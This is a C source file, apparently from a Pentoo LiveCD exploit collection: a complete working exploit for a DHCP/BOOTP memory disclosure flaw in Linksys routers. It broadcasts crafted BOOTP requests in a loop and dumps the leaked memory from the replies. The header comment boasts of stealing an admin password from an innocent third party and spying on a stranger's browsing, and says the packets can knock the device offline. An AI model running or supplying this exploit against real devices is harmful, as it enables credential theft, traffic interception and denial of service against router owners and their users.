home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / linksys / linksys-dhcp-exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  409 lines

  1. /*
  2.  *
  3.  * Apparently Linksys devices that have a DHCP server on them
  4.  * don't properly handle BOOTP packets.  Instead of returning
  5.  * legitimate BOOTP responses, they  return BOOTP responses with
  6.  * the BOOTP fields filled in with portions of memory.  This
  7.  * allows you to do cool things like the equivalent of sniffing
  8.  * all the traffic to/from the device.
  9.  *
  10.  * To the best of my knowledge, this only allows you to read
  11.  * traffic that was recently sent to/from the linksys device 
  12.  * (on any of its ports if its a hub/switch).  I have successfully
  13.  * used this technique to steal the admin username and password
  14.  * from an innocent third party who recently configured the device,
  15.  * and I watched someone's traffic as they browsed ebay for a new 
  16.  * Ti-Book.  In a number of cases, after sufficient packets were sent,
  17.  * the device stopped routing packets and would only continue working
  18.  * again after a power cycle.
  19.  *
  20.  * You won't always get memory on the first packet, so try
  21.  * sending many packets.  Even if you do get portions of memory,
  22.  * you'll only get something interesting if the linksys device was 
  23.  * recently active.
  24.  *
  25.  * If you try the payload option, you can see that canary value in 
  26.  * BOOTP reply packets -- not necessarily right away, but eventually.  
  27.  * This usually appears in the BOOTP vendor specific options field,
  28.  * typically right at the very beginning.
  29.  *
  30.  * Tested on a fully updated Linksys BEFSR41 and BEFW11S4, but 
  31.  * will likely work on all Linksys devices that have a DHCP
  32.  * server.  Currently, this looks to include at least the BEFN2PS4, 
  33.  * BEFSR41, BEFSR81, BEFSX41, RV082, BEFCMU10, BEFSR11, BEFSR41W,
  34.  * BEFSRU31, BEFVP41, WRT55AG, WRV54G, WRT51AB
  35.  * 
  36.  *
  37.  * Requires libnet (1.1.x) and libpcap
  38.  *
  39.  * Compile with something like:
  40.  *
  41.  * gcc -Wall -I/usr/include `libnet-config --defines --cflags` \
  42.  * -o linksys-dhcp-exploit linksys-dhcp-exploit.c `libnet-config --libs` -lpcap
  43.  * 
  44.  *
  45.  * Jon Hart <warchild@spoofed.org>
  46.  *
  47.  * Copyright (c) 2004, Jon Hart 
  48.  * All rights reserved.
  49.  *
  50.  *  Redistribution and use in source and binary forms, with or without modification, 
  51.  *  are permitted provided that the following conditions are met:
  52.  *
  53.  *  * Redistributions of source code must retain the above copyright notice, 
  54.  *    this list of conditions and the following disclaimer.
  55.  *  * Redistributions in binary form must reproduce the above copyright notice, 
  56.  *    this list of conditions and the following disclaimer in the documentation 
  57.  *    and/or other materials provided with the distribution.
  58.  *  * Neither the name of the organization nor the names of its contributors may
  59.  *    be used to endorse or promote products derived from this software without 
  60.  *    specific prior written permission.
  61.  *
  62.  *
  63.  *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
  64.  *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
  65.  *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
  66.  *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
  67.  *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
  68.  *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
  69.  *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
  70.  *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
  71.  *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
  72.  *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  73.  *
  74.  */
  75.  
  76. #include <libnet.h>
  77. #include <pcap.h>
  78. #if (SOLARIS || BSD)
  79. #include <netinet/if_ether.h>
  80. #else
  81. #include <netinet/ether.h>
  82. #endif
  83.  
  84. #define HEXDUMP_BYTES_PER_LINE 16
  85. #define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2)
  86. #define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */
  87. #define HEXDUMP_HEXSTUFF_PER_LINE \
  88.             (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE)
  89.  
  90. void ascii_print_with_offset(register const u_char *cp, register u_int length);
  91. void usage();
  92. void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet);
  93.  
  94. int main(int argc, char *argv[]) {
  95.  
  96.     int c, time = 5, dump = 0, count = 0;
  97.  
  98.     libnet_t *libnet;
  99.     struct libnet_stats stats_libnet;
  100.     libnet_ptag_t ether, ipv4, udp, bootp;
  101.     struct libnet_ether_addr *src_ether;
  102.  
  103.     pcap_t *pcap;
  104.     struct pcap_stat stats_pcap;
  105.     struct bpf_program filter;
  106.     char filter_exp[] = "src port 67 and dst port 68";
  107.     bpf_u_int32 mask, net;
  108.  
  109.     char errbuf[LIBNET_ERRBUF_SIZE];
  110.     char *interface = NULL;
  111.     char *payload = NULL;
  112.     u_char bcast_ether[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  113.  
  114.     while ((c = getopt(argc, argv, "c:i:p:s:X")) != EOF) {
  115.         switch (c) {
  116.             case 'c':
  117.                     count = atoi(optarg);
  118.                     break;
  119.             case 'i':
  120.                 interface = optarg;
  121.                 break;
  122.             case 'p':
  123.                 payload = optarg;
  124.                 break;
  125.             case 's':
  126.                 time = atoi(optarg);
  127.                 break;
  128.             case 'X':
  129.                 dump = 1;
  130.                 break;
  131.             default:
  132.                  usage();
  133.                  return(1);
  134.         }
  135.     }
  136.  
  137.  
  138.     if (interface == NULL) {
  139.             fprintf(stderr, "Please specify an interface\n");
  140.             usage();
  141.             return(1);
  142.     }
  143.  
  144.     if ((libnet = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) {
  145.         fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
  146.         return(1);
  147.     }
  148.  
  149.     if ((src_ether = libnet_get_hwaddr(libnet)) == NULL) {
  150.         fprintf(stderr, "Couldn't determine src ethernet: %s\n", errbuf);
  151.         libnet_destroy(libnet);
  152.         return(1);
  153.     }
  154.  
  155.     memset(&stats_libnet, 0, sizeof(struct libnet_stats));
  156.  
  157.     libnet_seed_prand(libnet);
  158.     
  159.     if ((pcap = pcap_open_live(interface, BUFSIZ, 0, 5000, errbuf)) == NULL) {
  160.         fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf);
  161.         libnet_destroy(libnet);
  162.         return(1);
  163.     }
  164.  
  165.     if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) {
  166.         fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf);
  167.         libnet_destroy(libnet);
  168.         pcap_close(pcap);
  169.         return(1);
  170.     }
  171.  
  172.     if (pcap_compile(pcap, &filter, filter_exp, 0, net) == -1) {
  173.         fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(pcap));
  174.         libnet_destroy(libnet);
  175.         pcap_close(pcap);
  176.     }
  177.  
  178.     if (pcap_setfilter(pcap, &filter) == -1) {
  179.         fprintf(stderr, "pcap_setfilter() failed: %s\n", pcap_geterr(pcap));
  180.         libnet_destroy(libnet);
  181.         pcap_freecode(&filter);
  182.         pcap_close(pcap);
  183.     }
  184.  
  185.     memset(&stats_pcap, 0, sizeof(struct pcap_stat));
  186.  
  187.     /* If we want to tack some "payload" into the BOOTP packet, 
  188.      * we must do it here before the bootp stuff is built
  189.      */
  190.     if (!(payload == NULL)) {
  191.             libnet_build_data((u_char *) payload, strlen(payload), libnet, 0);
  192.     }
  193.  
  194.     /* The device seems to croak on the simplest of BOOTP packets,
  195.      * so lets do that, shall we
  196.      */
  197.     bootp = libnet_build_bootpv4(
  198.                 LIBNET_DHCP_REQUEST,
  199.                 1,
  200.                 ETHER_ADDR_LEN,
  201.                 0,
  202.                 libnet_get_prand(LIBNET_PR32),
  203.                 0,
  204.                 0x8000,
  205.                 0,
  206.                 0,
  207.                 0,
  208.                 0,
  209.                 src_ether->ether_addr_octet,
  210.                 NULL,
  211.                 NULL,
  212.                 NULL,
  213.                 0,
  214.                 libnet,
  215.                 0);
  216.  
  217.     if (bootp == -1) {
  218.         fprintf(stderr, "Can't build bootp: %s\n", libnet_geterror(libnet));
  219.         goto die;
  220.     }
  221.  
  222.     udp = libnet_build_udp(
  223.             68,
  224.             67,
  225.             LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
  226.             0,
  227.             NULL,
  228.             0,
  229.             libnet,
  230.             0);
  231.  
  232.  
  233.     if (udp == -1) {
  234.         fprintf(stderr, "Can't build udp: %s\n", libnet_geterror(libnet));
  235.         goto die;
  236.     }
  237.  
  238.     ipv4 = libnet_build_ipv4(
  239.                 LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
  240.                 0,
  241.                 libnet_get_prand(LIBNET_PR16),
  242.                 IP_DF,
  243.                 libnet_get_prand(LIBNET_PR8),
  244.                 IPPROTO_UDP,
  245.                 0,
  246.                 inet_addr("0.0.0.0"),
  247.                 inet_addr("255.255.255.255"),
  248.                 NULL,
  249.                 0,
  250.                 libnet,
  251.                 0);
  252.  
  253.     if (ipv4 == -1) {
  254.             fprintf(stderr, "Can't build ipv4: %s\n", libnet_geterror(libnet));
  255.             goto die;
  256.     }
  257.  
  258.     ether = libnet_autobuild_ethernet(bcast_ether, ETHERTYPE_IP, libnet);    
  259.  
  260.     if (ether == -1) {
  261.             fprintf(stderr, "Can't build ethernet: %s\n", libnet_geterror(libnet));
  262.             goto die;
  263.     }
  264.  
  265.     if (count == 0) {
  266.         for(;;) {
  267.             libnet_write(libnet);
  268.             if (dump) {
  269.                 if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
  270.                     pcap_perror(pcap, "Error: ");
  271.                 }
  272.             }
  273.             sleep(time);
  274.         }
  275.     } else {
  276.         for (c = 0; c < count; c++) { 
  277.             libnet_write(libnet);
  278.             if (dump) {
  279.                 if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
  280.                     pcap_perror(pcap, "Error: ");
  281.                 }
  282.             }
  283.             if (!(c + 1 == count)) {
  284.                 sleep(time);
  285.             }
  286.         }
  287.     }
  288.  
  289.     libnet_stats(libnet, &stats_libnet);
  290.     
  291.     if (pcap_stats(pcap, &stats_pcap) == -1) {
  292.         fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(pcap));
  293.     } else {
  294.         fprintf(stderr, "\nSent: %lld Received: %d Dropped: %d\n",
  295.                 stats_libnet.packets_sent, stats_pcap.ps_recv, stats_pcap.ps_drop);
  296.     }
  297.  
  298.     goto die;
  299.  
  300. die:
  301.     libnet_destroy(libnet);
  302.     pcap_freecode(&filter);
  303.     pcap_close(pcap);
  304.     return(0);
  305. }
  306.  
  307. /* Borrowed from tcpdump */
  308. void ascii_print_with_offset(register const u_char *cp, register u_int length) {
  309.     register u_int i, oset = 0;
  310.     register int s1, s2, chr = 0;
  311.     register int nshorts;
  312.     char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;
  313.     char asciistuff[HEXDUMP_BYTES_PER_LINE+1], *asp;
  314.     char *ascii_color = "01;32";
  315.  
  316.     nshorts = length / sizeof(u_short);
  317.     i = 0;
  318.     hsp = hexstuff; asp = asciistuff;
  319.     while (--nshorts >= 0) {
  320.         s1 = *cp++;
  321.         s2 = *cp++;
  322.         (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
  323.                             " %02x%02x", s1, s2);
  324.         hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
  325.         *(asp++) = s1;
  326.         *(asp++) = s2;
  327.         if (++i >= HEXDUMP_SHORTS_PER_LINE) {
  328.             *hsp = *asp = '\0';
  329.             (void)printf("\n0x%04x\t%-*s ",
  330.             oset, HEXDUMP_HEXSTUFF_PER_LINE,
  331.             hexstuff);
  332.             for (chr = 0; chr < sizeof(asciistuff) - 1; chr++) {
  333.                 if (isprint(asciistuff[chr])) {
  334.                     (void)printf("\33[%sm", ascii_color);
  335.                     (void)printf("%c", asciistuff[chr]);
  336.                     fputs("\33[00m", stdout);
  337.                 } else {
  338.                     (void)printf(".");
  339.                 }
  340.             }
  341.             i = 0; hsp = hexstuff; asp = asciistuff;
  342.             oset += HEXDUMP_BYTES_PER_LINE;
  343.         }
  344.     }
  345.     if (length & 1) {
  346.         s1 = *cp++;
  347.         (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
  348.                             " %02x", s1);
  349.         hsp += 3;
  350.         *(asp++) = s1;
  351.         ++i;
  352.     }
  353.     if (i > 0) {
  354.         *hsp = *asp = '\0';
  355.         (void)printf("\n0x%04x\t%-*s ",
  356.                         oset, HEXDUMP_HEXSTUFF_PER_LINE,
  357.                         hexstuff);
  358.         for (chr = 0; chr < sizeof(asciistuff) - 1 && asciistuff[chr] != '\0'; chr++) {
  359.             if (isgraph(asciistuff[chr])) {
  360.                 (void)printf("\33[%sm", ascii_color);
  361.                 (void)printf("%c", asciistuff[chr]);
  362.                 fputs("\33[00m", stdout);
  363.             } else {
  364.                 (void)printf(".");
  365.             }
  366.         }
  367.     }
  368. }
  369.  
  370. void usage() {
  371.     fprintf(stderr, "\tLinksys dhcp memory disclosure exploit\n");
  372.     fprintf(stderr, "\tby Jon Hart <warchild@spoofed.org>\n");
  373.     fprintf(stderr, "\thttp://spoofed.org/files/linksys-dhcp-exploit.c\n");
  374.     fprintf(stderr, "\n\tUsage:\n");
  375.     fprintf(stderr, "\t\t-c count  # number of packets to send\n");
  376.     fprintf(stderr, "\t\t-i interface  # interface to send packets to\n");
  377.     fprintf(stderr, "\t\t-p payload # payload to put in the bootp packet\n");
  378.     fprintf(stderr, "\t\t-s seconds  # (optional) seconds to sleep between packets\n");
  379.     fprintf(stderr, "\t\t-X   # dump captured data\n");
  380.     fprintf(stderr, "\n\n");
  381. }
  382.  
  383. void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet) {
  384.  
  385.     struct ether_header *ether = (struct ether_header *) packet;
  386.     struct iphdr *ip;
  387.     u_int jump = 0;
  388.  
  389.     if (ntohs(ether->ether_type) != ETHERTYPE_IP) {
  390.         return;
  391.     }
  392.  
  393.     /* Jump past the ethernet header */
  394.     jump += LIBNET_ETH_H;
  395.     ip = (struct iphdr *)(packet + jump);
  396.  
  397.     /* Jump past the IP header */
  398.     jump += ip->ihl * 4;
  399.  
  400.     /* Jump past the UDP header */
  401.     jump += LIBNET_UDP_H;
  402.  
  403.     /* Now print out the UDP data, which is just the BOOTP portion of 
  404.      * the packet.  This should contain the interesting data.
  405.      */
  406.     ascii_print_with_offset(packet + jump, packet_header->caplen - jump);
  407.     printf("\n");
  408. }
  409.